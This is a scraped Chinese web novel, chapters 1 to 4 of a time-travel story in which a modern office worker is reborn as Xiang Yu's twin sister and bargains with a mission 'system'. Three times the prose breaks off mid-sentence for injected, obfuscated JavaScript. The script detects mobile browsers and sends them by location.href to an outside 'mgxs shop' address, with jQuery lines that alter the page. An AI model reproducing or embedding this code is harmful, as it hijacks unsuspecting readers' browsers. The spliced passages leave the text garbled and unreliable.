《项羽是我小弟》
1. 第 1 章
秦王政十五年,仲夏。
下相城,项氏大宅。
夜半时分,天地闷热如蒸笼,无一丝风。
产房内灯火通明,项夫人痛苦的呻吟已持续了整整一日。
家主项燕在院中来回踱步,眉宇间焦躁与不安拧成了川字。
项氏世世代代为楚将,这一代的项燕已经坐到了楚国武将能坐到的最高的位置。
可他的心却越来越不安……
春申君故去已有六年了。
如今李园把持朝政,而如今王位上坐着的这一位,唉……不提也罢。
天下风云已起,楚国的前路实在让人忧虑啊。
忽然,东方天际毫无征兆地亮起一道灼目的紫光,并非闪电,却如极光垂落,将半个夜空染成尊贵的绛紫色,久久不散。
紧接着,一颗斗大的赤色星辰,拖着煌煌尾焰,自北而南,划过天穹,其光芒之盛,竟压过星月,最终似坠向东南会稽方向,轰然一震。
“天降异象!”府中老仆惊惶跪倒。
项燕猛地顿足,望向异象来处,心头狂跳,是凶是吉?
恰在此时,一阵清越的啼哭声穿透产房的门扉,响彻庭院。那哭声初时清脆,旋即竟带上一股难以言喻的穿透力,不似寻常婴孩的孱弱。
“生了!是位女公子!”稳婆疾步而出,禀报声带着余悸。
女公子……项燕心中掠过一丝难以避免的失望。
但未等他调整心绪,门外忽然传来苍老却洪亮的声音:“紫气东来,荧惑入怀,此女降世,天命垂象,贫道不请自来,愿为一观。”
只见一位鹤发童颜、身着素旧道袍的老者,不知何时已立于院门处,目光如电,直视于产房方向。他须发皆白,气度却飘然出尘,仿佛与方才的天地异象一体而来。
项燕心中凛然,项氏防卫森严,这老道能无声无息潜入,绝非寻常。他拱手肃容:“道长请。”
老道不答,径自走向已被抱出产房的婴孩。
女婴已停止啼哭,一双眸子在灯火下竟似点漆,清澈异常,不染尘埃,亦无懵懂,就那么静静地看着俯身端详她的老道,以及神色复杂的项燕。
老道凝视片刻,又抬首望了望尚未完全散去的紫气残影,指节快速掐算,脸色愈发凝重,最后长叹一声,似感慨,似敬畏。
“道长,此女……”项梁忍不住问。
老道目光如实质般落在项燕脸上,一字一句,清晰无比:“此女命格,贵不可言,然其性属金,锐利无匹,锋芒过盛,恐非深闺能载。凤鸣于野,非梧不栖;龙潜于渊,待时而飞。然龙凤之象,阴阳交错,若以常理养之,则贵气冲煞,反伤亲族,项氏难兴。”
项燕心头一震:“请道长明示!”
老道深深看了那女婴一眼,沉声道:“十八载内,须以男儿视之,教之以文韬武略,待之以继承之礼。束其发,习其射,读兵书,砺心志。如此,则可将这冲天贵气导为家族鸿运,庇护项氏,遇风化龙,贵及……九重。”
“九重”二字,他说得极轻,却如重锤砸在项梁心上。
那是帝王的隐喻。
“可她是女子……”项燕看着那张玉雪可爱的小脸,心中翻江倒海。
“天命不计牝牡。”老道拂袖,转身欲走,留下最后一句箴言,随风送入项燕耳中,“凤身龙心,天下棋局。待她及笄之年,自见分晓。切记,切记!”
言罢,老道身影飘忽,竟如融入夜色,倏忽不见,只余满院惊疑不定的灯火,与那仿佛仍在回荡的“贵不可言”。
项燕独立庭中,良久,猛地转身,目光死死锁住襁褓中的孙女。
女婴依旧安静,那双过分清明的眼睛,仿佛已看穿了这即将因她而彻底改变的命运轨迹。
“传令下去,”项燕的声音在夜风中坚硬如铁,带着破釜沉舟的决心,“夫人所出,乃我项燕之嫡长孙——项飞。自今日起,项飞为我项氏嫡系子弟,一切教养,皆依男儿礼制。今日之言,若有外泄者,家法不容!”
“诺!”周围心腹家将仆妇,虽满心惊涛,却齐齐凛然应声。
项燕走上前,从乳母手中接过这轻飘飘又重如山岳的婴孩。
他粗糙的手指轻轻拂过孩子细嫩的脸颊,低语只有自己能听见:“飞儿,且让这天下看看,我项家,究竟是生了一只怎样的……凤凰。”
夜空之上,最后一丝紫气悄然隐去,星辰复归原位。
而一项氏大宅之内,一个以谎言和天命包裹的“男儿”人生,就此拉开帷幕。
项飞安静地躺在爷爷怀中,闭上了眼睛。
无人知晓,这具新生婴孩的躯体里,一个来自遥远未来的灵魂,正缓缓苏醒,开始聆听这个属于她的波澜壮阔的时代序章。
*****
凌晨三点,最后一份PPT点了保存。
项菲揉了揉刺痛干涩的双眼,关掉惨白的电脑屏幕。
写字楼外,城市的霓虹不知疲倦地闪烁,映照着她眼底深深的疲惫。连续七十二小时的高强度项目冲刺,让她感觉灵魂都被抽空,脚步虚浮得像踩在棉花上。
推开沉重的玻璃门,冬夜凛冽的寒气猛地灌入肺腑,激得她一阵眩晕。
“好累……应该倒在工位上的…..出了公司大门还算工伤吗?”意识消散前的最后一念,是银行卡里那微不足道的加班费,和遥遥无期的房贷。
眼前彻底一黑。
她再睁眼时,没有医院消毒水的味道,也没有救护车的鸣笛。
视线模糊摇晃,对焦后,映入眼帘的是一张放大的、充满焦急与古典美的妇人脸庞,梳着高髻,穿着她只在古装剧里见过的曲裾深衣。
四周是木质结构的穹顶,空气里飘着淡淡的草药味和……一种属于古老岁月的陈旧木头的气息。
“孩子,我的孩子!”妇人声音哽咽,一把将她搂入怀中。那怀抱温暖,衣料柔软,却陌生得让人心惊。
项菲浑身僵硬。
这什么鬼???
她穿越了?
她想说话,喉咙里却只发出“咿呀”稚嫩的声响。
她惊恐地抬起手,映入眼帘的是一只胖乎乎的,短小稚嫩,属于幼儿的手。
不是梦。
身体的感知、视线的低矮角度,无一不在残忍地告诉她一个事实。
她穿越了?还穿成了一个襁褓之中的婴儿?!
【检测到宿主生命体征稳定,时空融合完成。帝王养成系统,现在激活。】
一个冰冷、毫无情绪的电子音,突兀地在她脑海深处响起,清晰得不容置疑。
“谁?!”:她在心里惊叫。
【loading…………………….】
【系统绑定成功。】
【终极任务发布:辅佐本世界关键人物项羽登基称帝,建立稳固王朝。】
【任务成功,宿主可返回原时空,并获得终极奖励。任务失败,宿主死亡,灵魂永久抹除。】
信息如冰雹般砸下。
项
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340413|199294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
羽?那个西楚霸王?辅佐他称帝?
开什么玩笑!历史书上明明写着他三十便乌江自刎……
【初始资料包传输中…………】
下一秒,不属于她的记忆碎片汹涌而来。
项氏、楚国、会稽、大父项燕、阿父项渠、叔父项梁……以及一个比她晚出生片刻、名叫“籍”的龙凤胎弟弟。
还有更早之前,那个紫气东来的夜晚,那位神秘道人的批命:“须以男儿养之,方能使项氏贵不可言……”
所以,她不仅是项菲,更是那个被家族寄予厚望、从小被当做男孩培养的“项家子”?
冰冷与现实交织的荒谬感,让她想放声大笑,却只发出幼童无力的呜咽。
【检测到宿主意识剧烈波动。】
眼前,竟凭空浮现出半透明的淡蓝色/界面,上面清晰地罗列着系统文字。
项菲闭上了眼,再睁开。
系统界面依旧稳定存在。
【系统提醒宿主,宿主当前身体状况十分脆弱,请宿主冷静,避免情绪大幅波动造成器官损伤。】
项菲只能闭上了眼,做了几个深呼吸之后才缓缓睁开了眼。
同时她的心中飞快盘算了起来。
她应该是加班猝死了,猝死之后不知道为何穿越到了这个两千多年前战国末期的平行时空,还绑定了一个莫名其妙的系统。
听系统的意思,只要能完成任务她就能回去?而完不成任务她就是真的死了。
这样说来,这个所谓的系统其实是给了她一次重生的机会?
只是这任务……
也太难了点。
项菲慢慢转动眼珠,看向抱着自己的“母亲”,看向这间古朴而陌生的房间。
窗外,是两千多年前楚地的天空。
一股强烈的不甘混合着荒诞的求生欲,在她的胸腔里冲撞。
辅佐项羽?那个刚愎自用、最后乌江自刎的失败者?
用她可怜的智慧和高考完就所剩无几的现代知识,去为一个注定的败局陪葬?
纵使她高中的历史知识已经忘的差不多了,可也还记得鸿门宴上项羽可是连亚父范增的话都没听,放走了刘邦,这才导致兵败,最后乌江自刎。
有没有搞错啊?
她连自己那个傻逼上司都说服不了,要她将西楚霸王扶持上帝位?
疯了吧?
她只是一个平平无奇、甚至历史还不及格的理科金融搬砖狗而已!
给她这种SSS级任务是在搞什么?
重生不会涨智商的啊喂!!!
系统冰冷的电子音还在回荡,项菲却只能双眼无神的看着头顶那块木质的房梁,一只灰褐色的小蜘蛛爬在上面,一圈一圈的织着自己的网。
毫无迟疑,也毫无犹豫,那蜘蛛只是遵循了自己的生物本能,一点点构建着属于自己的方寸世界,等待着闯入其中的飞虫。
这画面奇异地抚平了项菲灵魂深处那几乎要炸开的焦躁与荒诞感。
项菲看着那蜘蛛,小小的胸膛微微起伏,然后,几不可闻地叹了口气。
罢了。既来之则安之。
既然无法反抗,无法理解,无法立刻挣脱。
那就先活下去。
用这个身份,在这个时代先扎下根来。
再像那只蜘蛛一样,耐心地、沉默地、一圈一圈地,开始编织属于她自己的网。
一步一步慢慢来吧,反正从今天开始活着的每一天都算是她赚了。
2. 第 2 章
就在项菲盯着蜘蛛网,刚给自己做完心理建设时,那个冰冷的电子音再次突兀响起,不带任何缓冲。
【宿主请注意,开始发布主线任务一。】
【主线任务一:在180个自然日内,获得本世界关键人物项燕(楚国名将,项羽祖父)的初步信任与认可。】
【任务成功奖励:积分500点,开启基础商城兑换权限,体质轻微强化。】
【任务失败惩罚:扣除积分1000点】
【宿主请注意,积分不足将透支灵魂能量,导致虚弱、疾病甚至死亡。】
项菲:“……?”
这什么天杀的狗系统啊?!谁家公司一入职就上工啊?!演都不演一下了?!
她刚加了七十二个小时的班才猝死!人还热乎着呢就被拉到这个身体里又要开始上班?
真服了……
刚平复下去的那点既来之则安之的心态瞬间被这股蛮横的指派冲得七零八落。
她甚至在意识里幻听到了类似甲方拍桌子定ddl的声音。
一股无名火从项菲的胸膛冲向了天灵盖。
项菲在脑海激烈吐槽:【等等!】
项菲:【你有没有搞错?我才刚登录!】
【新手引导呢?操作说明呢?我甚至连个地图都没加载完!你就直接给我派个终极BOSS级别的声望任务?】
【你知道项燕是谁吗?那是项羽的爷爷!是楚国的上将军!是和王翦打的有来有往的名将!我算哪根葱啊?!我只是个路都走不稳的奶娃娃!我怎么去获得他的信任?用哭得比别人响亮来证明肺活量优秀吗?】
系统听到了项菲的怒吼,难得的沉默了两秒才继续说。
系统:【任务逻辑基于最优路径规划。】
系统:【项燕是影响项羽成长轨迹与项氏资源倾斜的关键节点。请宿主尽早接触并建立正向关联,有利于终极任务完成。】
什么最优路径?谁规划的?
你上下嘴皮子一碰就要我来执行?!
这种糊弄鬼的话我上辈子听的够多了!
项菲的社畜之魂熊熊燃烧,若不是灵魂发不出声音她早就给系统来一段灭掉世界的高音了。
项菲怒吼道:【什么最优路径?你这是压榨!是不人道的KPI!】
项菲:【我连这个世界的基本操作界面都没熟悉,你就让我去刷顶级NPC的好感度?玩游戏还有个新手村呢!】
项菲:【还有,你绑定我之前征求我意见了吗?没有!你这是强制用工!你违反劳动法了你知不知道!按照我们那边的规矩,强制用工得加钱!不对,是得给补偿!我的新手礼包呢?!我怎么什么都没有!】
项菲:【补偿补偿没有!新手礼包也没有!哪怕是我那个sb老板让我干活之前也知道给我画个饼,你倒好,绑了牛马就开始拉磨啊?!】
项菲:【有没有素质啊你!】
系统:【……】
随即系统似乎进行了一段极快的逻辑演算。
系统:【宿主提出的新手礼包概念,在部分同维度任务系统中确有先例。但本系统初始配置并无此项。】
项菲:【我不管。】
项菲一副死猪不怕开水烫的样子理直气壮地和系统开始battle:【反正我现在要啥没啥,任务难度高到离谱,失败惩罚要命。】
项菲一摊手开始摆烂:【横竖都是死,我消极怠工你也没办法,大不了任务失败我重开!反正我已经死过一次了,一回生二回熟,我也不怕。】
项菲略带阴险的说:【但我死了你还得去抓其他人,说不定抓到的人比我还不配合,你的任务怎么办?耽搁了任务进度,你的绩效怎么办?!绩效不好你的工资怎么办?!没有工资你怎么活?!!】
系统:【……】
系统这次的沉默比上一次更长,项菲仿佛听到了系统在飞速运转。
过了两分钟,系统似乎觉得项菲说的并无道理。
去找其他人是好是坏还说不准,还影响到了任务进度,不如给项菲一些小恩小惠让她认真干活来的划算,反正她要的也不多,其他世界也是有先例的。
系统:【宿主请稍候。此事超出本机当前决策权限,正在向上级管理单元申请特别处理……】
项菲心里一动。
上级管理单元?
看来这系统也是个打工的!
身为资深社畜,她太明白和执行层沟通与和决策层博弈的区别了。
于是她立刻收敛了刚才那点“耍无赖”的气势,但保持着一种“我很委屈但愿意沟通”的沉默,耐心等待。
大约过了一盏茶,虽然在项菲感觉里像一个世纪的时间,系统的声音再次响起,这次系统的声音听起来似乎比之前多了一丝拟人化的疲惫?
系统:【申请已批复。】
项菲:有戏!
系统:【基于宿主特殊情况及任务初始难度系数,特批“新手适应期资源包”一份。】
系统:【此为本机能为宿主争取到的最大权限。请宿主领取后,积极投入任务执行。】
项菲心中暗喜,如果她有手的话此刻已经狗腿地握了上去,一串流利的牛马话术从项菲的脑海里流出:【感谢统总对我的照顾,在如此艰难的情况下,是您给予了我十足的理解和信任!是您顶着制度压力为我争取了特殊待遇!您的关怀让我感受到了团队的温暖!我会更加努力的工作,不辜负您的信任。】
系统:【………………………………………….】
从这行比前两次都长的省略号里项菲感受到了系统的无语,于是项菲见好就收地闭嘴了。
系统:【叮!新手礼包发放成功,请查收。】
项菲眼前立刻展开一个只有她能看到的散发着柔和白光的虚拟礼盒。
她用意念点击打开。
三道微光闪过,化作三张背面绘有玄奥纹路的卡片,悬浮在她意识视野中。
项菲集中注意力,点击反转她面前从左到右数的第一张卡片。
【道具名称】:万界同声传译官(被动永久)
【效果】:无视语种、方言、古语差异,自动将宿主听到、看到的一切语言信息,实时转化为宿主最易理解的概念(当前默认:现代汉语普通话)
【宿主开口时,亦自动适配当前环境语言规则(仅限语言逻辑转换,不提供超越时代的词汇)】
看到了第一张卡片,项菲满意地点了点头。
很实用,解决了交流的基本障碍,是生存和获取信息的基石。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340414|199294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>这个不错。
然后项菲用意念翻转第二张卡片。
【道具名称】:天然亲和力光环(主动技能)
【效果】:开启后,宿主对任意单一目标释放无形气场,小幅提升目标对宿主的第一印象及基础好感度,效果持续至初次深度交流结束。
【冷却时间:24小时。】
【备注:效果强度受目标意志力、双方身份地位差距、宿主自身行为合理性等因素影响,并非绝对控制。】
项菲在意识里撇撇嘴:这张卡片略鸡肋啊。
刷脸卡初级版?
还得我自己去交流,而且有那么多限制。
算了,有总比没有强,关键时刻也许能打个辅助。
带着一丝期待和忐忑,项菲点向了第三张卡片。
第三张卡片翻转的瞬间,金光一闪!
【权限名称】:任务文本微调笔(特殊权限)
【效果】:宿主获得有限权限,可对系统发布的任务说明文本进行极其细微的修改。
【限制1】:仅可修改标点符号。
【限制2】:总使用次数:3次。
【限制3】:修改不得导致任务目标、关键对象、失败惩罚发生根本性改变(由系统最终裁定)。
项菲:“……”
刚才差点因为金光而雀跃的心情,瞬间像是被泼了一盆冰水。
仅限修改标点符号?!
还只能使用三次?!
她瞪着那行小字,感觉系统的诚意里面掺了九成九的坑,或者说系统的坑里出掺了零点一的诚意。
这算什么金手指?
给甲方合同挑语病改逗号句号吗?!
但是话说回来……项菲的资深社畜的思维再次启动。
标点符号,有时候……真的能改变语意。
虽然限制极大,但用得好,说不定能在某些关键任务的描述上,钻出一点点缝隙?
“蚊子腿也是肉……”项菲在意识里喃喃自语,最终还是将这份权限小心翼翼地收好。
有,总比没有强。
这是打工人在残酷职场中学会的第一课。
薅完了系统这波意料之外又有点令人无语的羊毛,一阵强烈的疲惫感如同潮水般涌上。
穿越的冲击、与系统的博弈、接收信息、思考对策……这一切都消耗着她这具婴儿身体本就稀缺的精力和她那刚刚经历巨变的灵魂。
“算了,路要一步一步走,饭要一口一口吃,任务要一天一天刷……”项菲打了个巨大的哈欠,生理性的泪水模糊了视线。
在彻底沉入梦乡之前,她最后看了一眼房梁。
那只蜘蛛,不知何时已经织好了一个小小的网,正安静地待在中央,仿佛在等待着什么。
项菲闭上了眼睛。
先睡吧。
养精蓄锐。
这场游戏明天才算正式上线。
婴儿均匀的呼吸声响起,项夫人轻轻将她放回铺着柔软织锦的摇篮里,慈爱地掖好被角。
窗外,楚地的夜空,星河低垂,静谧无声。
谁也不知道,这个看似寻常的婴孩脑海里,刚刚完成了一场怎样的谈判,又携带着怎样奇特的武器,即将踏入这片波澜壮阔的历史洪流。
3. 第 3 章
虽然肩负着那几乎不可能完成的任务,可现在的项菲本质上就是一个还没满月的婴儿。什么皇图霸业对一个还在喝奶的婴儿来说都为时太早。
项菲的日子就这样在喝奶、睡觉、被围观中缓慢流逝。
而作为一个婴儿,项菲能接触到的人非常有限。
目前她见过的人只有两个乳母和自己的母亲钟氏、父亲项渠和她那个大名鼎鼎的弟弟项籍。
通过父母和仆役的闲聊,项菲也吸收了不少这个时代的信息,比如她需要完成的第一个任务的目标人物——大父项燕此刻并不在家中,而是在军营中练兵,不知道何时才能回来。
这可是个糟糕的消息。
若是她在六个月内都见不到项燕的人,又何谈取得他的信任呢?
要是完不成任务倒扣了积分,她这不是落地成盒?还玩什么?收拾收拾去奈何桥排队准备投胎吧。
唉……她就知道这任务不好做!能让她这种牛马干的活能是什么好活?
坑爹的系统!
唉……骂归骂,活还是得干。
项菲努力适应着这具孱弱的身体,像一个真正的婴儿一样复述着乳母的话,为她真正开口说话的时刻做着准备。
作为一个现代人,项菲太清楚人类对未知事物的恐惧了。
她必须要伪装地尽可能像一个真正的婴儿,可以聪慧但却不能太过聪慧,可以成神童但绝不能成妖孽。
她记得自己堂姐家的小孩似乎就是半岁多点就会牙牙学语能说话了,当时她爸她妈都夸这个小侄子是个神童长大一定有出息来着。(虽然这种社交吹捧虚伪的成分居多,但此刻也多少为她提供了一点参考依据。)
只有一个参考样本的项菲理所当然的认为小孩半岁能够开口说话可以称得上是个神童,婴儿一落地就能说话那绝对是妖孽。(当然是妖孽还是祥瑞取决于人们对她的看法和她能带来的价值。)
为了不被当成妖孽烧死,项菲觉得她还是先苟一阵再说。
在猥琐发育的日子里,项菲也没有闲着,她拼命回忆着脑海中为数不多的历史知识。(但具体的历史时间她早就忘的一干二净,只有个常识而已。)
而她为数不多记得的常识就是,项羽力能扛鼎但没有脑子,不听范增的建议没有在鸿门宴上杀掉刘邦,于是导致自己兵败,无颜见江东父老了于是在乌江自刎。
……
这简直是天崩开局。
她一个纯金融打工狗如何能将这块朽木推上皇位啊?
苍天啊,就是诸葛亮也没能把阿斗扶上皇位啊!更何况她不是诸葛亮只是一个臭皮匠而已……
项菲无奈地叹了口气,她看着身边那个同样除了吃就是睡、偶尔嚎啕大哭的红润小肉团。内心泛起一种荒诞的错位感,这就是未来那位“力拔山兮气盖世”的霸王?
原来霸王的婴儿时期除了嗓门格外洪亮,似乎也没比别人多长一只眼睛。
罢了,英雄莫问出处,霸王也曾是奶娃。
项菲暗自嘀咕,他们是双生子,估计自己的样子也好不到哪里去,大概也是另外一个红皮猴子罢了。
*****
日子一天一天过去,项菲放了人生中最长的一个假。
做婴儿的日子十分简单,整天不是吃就是睡,心情好了她就大声的嚎两嗓子,呼唤她的乳母来哄她。
这种时时刻刻都有人伺候吃喝拉撒的生活过起来倒是别有一番滋味。
唯一令她有些难受的就是——
任务的倒计时每天都在项菲脑海深处无声跳动。
【180天】
【150天】
【100天】
……
时间在婴儿感知里忽快忽慢,却坚定不移地流逝。
项菲表面淡定,但内心偶尔也会掠过一丝焦灼。
项燕到底什么时候回来?
他不回来她这任务没法子做啊!
直到某天,项菲脑海里的倒计时数字跳动到醒目的 【20天】。
她刚被喂饱,昏昏欲睡,就被乳母动作轻柔却迅速地从温暖襁褓中抱起,连带旁边还在咂嘴的弟弟项羽,一同被裹得严严实实。
母亲钟氏亲自在一旁整理他们的衣角,神色间有难得的郑重,也有一丝不易察觉的忧虑。
钟氏低声对乳母叮嘱:“小心些,莫惊着孩子们。今日父亲练兵归府,府里人多比往日多不少。白日我要去一趟母亲那里,我不在的时候两个孩子你多看顾着点,别叫孩子们被冲撞了。”
项菲的困意瞬间飞走了大半。
项燕!回家了!
苟了快半年,终于等到了关键NPC刷新了!
机会来了!
项菲的小心脏扑通扑通跳快了些,她努力瞪大眼睛,试图从襁褓的缝隙中观察外界。
可她现在毕竟还只是个婴儿,行动十分受限。白日里她和项羽两个婴儿只能被各自的乳母抱着,没有机会凑到前院男人议事的地方。
项菲虽然心里着急,但也只能等待,祈祷晚上众人开始一同聚餐时能在项燕面前露个脸,她好趁机使用一下系统给她的金手指,提升一下项燕对她的好感度。
系统出品的金手指虽然鸡肋,但是质量倒是没话说。
项菲对自己的乳母偷偷使用过,原本对待自己只是公事公办的乳母现在看她的眼神简直比钟氏还要慈爱!
项菲一觉醒来,时间就到了晚上。
项菲睁开眼看了看天色,估摸着时间差不多了,该她上场了。
前厅宴席,喧嚣鼎沸。
项菲被乳母抱着,和弟弟一起待在稍远的屏风后。
男人们酒酣耳热之时高谈阔论的政治词汇全部飘入项菲的耳中,被【万界同声传译官】自动处理成她能理解的概念,但她此刻无暇深入分析,她此刻大全部心神都聚焦项燕那洪亮的声音上。
酒过数巡,气氛正酣时,那威严的声音忽然转而问起了项渠:“我离家这些时日,我那对孙儿,近日可好?”
厅内静了一瞬。
钟氏身体几不可察地绷紧,随即立刻示意乳母。乳母连忙抱着两个襁褓上前,躬身行礼。
项燕的目光扫了过来。他径直从乳母手中,接过了被裹在锦缎里的项菲。
钟氏的眼神暗了暗,低下头。
项燕用带着厚茧却意外轻柔的手指,碰了碰项菲的脸蛋,脸上露出长辈常见的带着酒意的慈笑,随口问乳母:“大郎如今,可会唤人了?”
钟氏忙赔笑道:“父亲说笑了,孩子们才五个月大,寻常婴孩,总要周岁左右方能牙牙学语呢。”
“是吗?”项燕不以为意,继续用指节逗弄项菲的下巴,笑呵呵地道,“阿飞,我项家的小凤凰怎么会和寻常孩童一样?来,叫一声大父听听?”
周围响起一阵善意的低笑声,气氛温馨。
就连项菲的祖母景氏都笑着打趣道:“你莫不是喝多了酒?阿飞就算是神仙转世,也得长全了才能说话,五个月大的孩子能嘟囔两句就不错了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340415|199294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
就是现在!
项菲在心中默念:“启动——天然亲和力光环!目标:项燕!”
一股只有项菲自己能感觉到的暖流悄然荡开。
她不知道这光环具体有多大效果,但必须赌一把!
紧接着,她集中全部精神,对抗着婴儿声带的不协调与脆弱,模仿着刚才听到的音节,竭尽全力,从喉咙里挤出细弱却清晰的单音:“大……父……”
停顿,蓄力,再来!
“大……父……fuuuu……”
一连几声,虽奶声奶气,断续不清,但那个核心称呼的音调,竟被她执拗地重复了出来!
满堂笑声戛然而止。
项燕脸上的笑容凝固了,他猛地低头,难以置信地看向臂弯里这个眼睛乌溜溜睁着正努力看向他的小不点。
那目光清澈,竟不似寻常婴儿懵懂。
“大郎……方才,可是在唤我?”项燕的声音带着罕见的迟疑和震惊,看向乳母。
乳母早已惊得张大了嘴,闻言立刻反应过来,这是天大的祥瑞和讨好家主的机会!
她噗通跪下,声音激动得发颤:“回、回禀家主!大郎……大郎方才确是在唤’大父’!天神祖宗保佑!大郎天纵奇才,未足半岁便能言语,更是开口便认祖父!此乃大吉之兆,定是……定是神仙点化,福佑项氏啊!”
这一番话说得漂亮又夸张,却恰好挠中了项燕的痒处。
他原本就因那道人的批命对项菲高看一眼,此刻亲眼见证如此神异,心中那点因是孙女而非孙子的微妙遗憾,瞬间被这巨大的惊喜和天命所归的满足感冲得无影无踪!
“哈哈!好!好!好一个神仙点化!好一个福佑项氏!”项燕放声大笑,声震屋瓦,畅快无比。他小心翼翼地抱着项菲,像是抱着一件绝世珍宝,越看越喜。
“渠儿,”他转向项渠,语气斩钉截铁,“既是项家儿郎,又得此异禀,便不可等闲视之!过几日祭祖,你带着大郎,一同入祠!让列祖列宗也看看,我项氏的凤凰!”
项渠愣了一下,随即狂喜涌上心头!带未满周岁的幼儿参与祭祖,这是前所未有的殊荣!他连忙躬身应道:“是!父亲!孩儿遵命!”
随着项燕这句充满认可的话语落下——
【恭喜宿主,完成主线任务一:获得项燕的初步信任与认可】
【任务评价:优秀(巧妙利用时机与有限技能,达成显著效果)】
【奖励发放:积分+500,基础商城兑换权限已解锁,体质轻微强化(生效中)】
【系统提示:宿主达成初露锋芒成就,额外获得积分+50】
一股微弱的暖流瞬间流遍项菲全身,驱散了婴儿特有的那种软绵无力感,让她觉得精神似乎清明了一丝,对身体的控制也隐约强了一点点。
更重要的是,她“看到”自己脑海中的系统界面,原本灰色的【商城】图标,此刻已然亮起,散发着诱人的光芒。
强压下立刻点进去查看的冲动,项菲在项燕开怀的笑声和满堂惊羡和恭维的嘈杂中,适时地露出了一个属于婴儿的“纯真”笑容,然后仿佛耗尽力气般,打了个小小的哈欠,将脑袋往祖父温暖的臂弯里蹭了蹭,闭上了眼睛。
任务完成。
奖励到手。
第一步,总算迈出去了。
在无人知晓的意识深处,项菲轻轻舒了一口气。这场婴儿期的首秀,她赌赢了。
不管前路如何,至少这一次她活下来了。
4. 第 4 章
夜深人静,项家大宅中众人都陷入了沉睡,只有远处隐约传来巡夜家仆的梆子声。
摇篮里的项菲紧闭双眼,呼吸均匀,任谁看都是一个沉睡的婴儿。但她的意识,正全神贯注地沉浸在那个刚刚解锁的系统商城之中。
商城的大门向她展开,她站在商城的大门口,仿佛看到人类文明的长卷在她眼前展开。
《矿物识别图谱》、《初级纺织机改良》、灌钢法详解》、《标准度量衡推行手册》、《沤肥技巧》、《代田法》、《基层组织架构初探》、《基础账目管理》、《黑/火药简易配方》、《燧发枪原理》……
琳琅满目,浩如烟海。
每一项技术,都像一颗文明的种子,蕴含着改变世界的力量。
项菲的意识流连其间,震撼与渴望交织。
项菲忍不住问道:“这些……我都可以兑换吗?”
系统:【可以。】
【知识类兑换以信息流方式直接灌注,宿主可完全理解,但具体实践需宿主自行组织人力物力。】
【此外,商城亦提供宿主自身属性强化服务,如智力、武力、魅力、幸运值等。】
【亦可兑换实物,包括超时代物品,例如……】
一个熟悉的图标跳了出来,下面标价:【智能手机(基础款,太阳能充电)— 1,000,000积分】。
项菲:“……一百万?这里又没基站没网络,我要它当砖头砸人吗?这也太贵了!”
系统:【也有相对廉价物品。】
随即一个大红色的图标跳了出来,项菲定睛一看。
【可口可乐(330ml罐装)— 10,000积分】。”
项菲以手扶额,无语地说:“算了,当我没问。”
她看着自己可怜的550积分巨款,瞬间感受到了什么叫“商城琳琅满目,自己一贫如洗”。
罢了,商品太贵也不是它的错,是自己太穷了。
“我的积分必须精打细算,每一分都要用在刀刃上。系统,你有什么推荐吗?”:项菲试探着问。
系统沉默了数秒,这短暂的停顿在项菲感知中却颇为意味深长。
随后,系统的声音似乎比往常多了一丝引导性。
系统:【分析宿主当前处境:所处时代生产力水平较低,社会结构相对固化。强行引入过高阶技术或物品,可能引发不可预测的剧烈动荡,甚至导致时空锚点紊乱,对任务完成构成极端风险。】
系统:【建议宿主优先兑换符合或略高于当前时代生产力水平且能稳步提升基础实力与影响力的知识或物品。】
项菲心中一动。
系统在明示!
资深社畜项菲几乎立刻就听懂了系统的言外之意,系统并非冰冷无情,它这番话的潜台词便是告诉项菲它有“维护时空稳定”的底层逻辑。
这种规则限制了她一步登天的可能,但也为她指明了最安全的苟活方向。
于是项菲带着系统的提示再次审视商城,果然发现了规律。
越靠近秦末时代已有或可能萌芽的技术,价格相对低廉;而越接近近代甚至现代的技术,比如内燃机原理、基础化学等知识,价格则呈指数级飙升。而像《赤脚医生手册》这种基于传统医学又系统化的知识,价格就非常亲民。
“系统在维持一种平衡,”项菲瞬间了然,“它要的是一个合格的帝王养成过程,而不是开挂的文明爆炸。如果现在拿出来热武器,游戏就彻底没意思了,也绝不是系统想看到的任务完成。”
那么,她的路该怎么走?
“要完成终极目标,我必须有自己的根基。人、粮、钱、影响力……高炉炼铁能打造最好的兵器甲胄,杂交水稻能解决粮食问题,这两个技术在这个时代都是王炸。”
项菲的意识扫过那两个昂贵的图标,摇了摇头。
“但现在不行。我没有专业人才,没有试错的时间和资源,更没有保护这些技术不被觊觎或篡夺的实力。贸然拿出,恐怕是为他人做嫁衣,甚至引来杀身之祸。”
论冲锋陷阵、沙场争雄,她拍马也赶不上项羽,甚至可能不如许多未来的将领。可厉害如项羽和项燕最终也失败了,这说明什么?
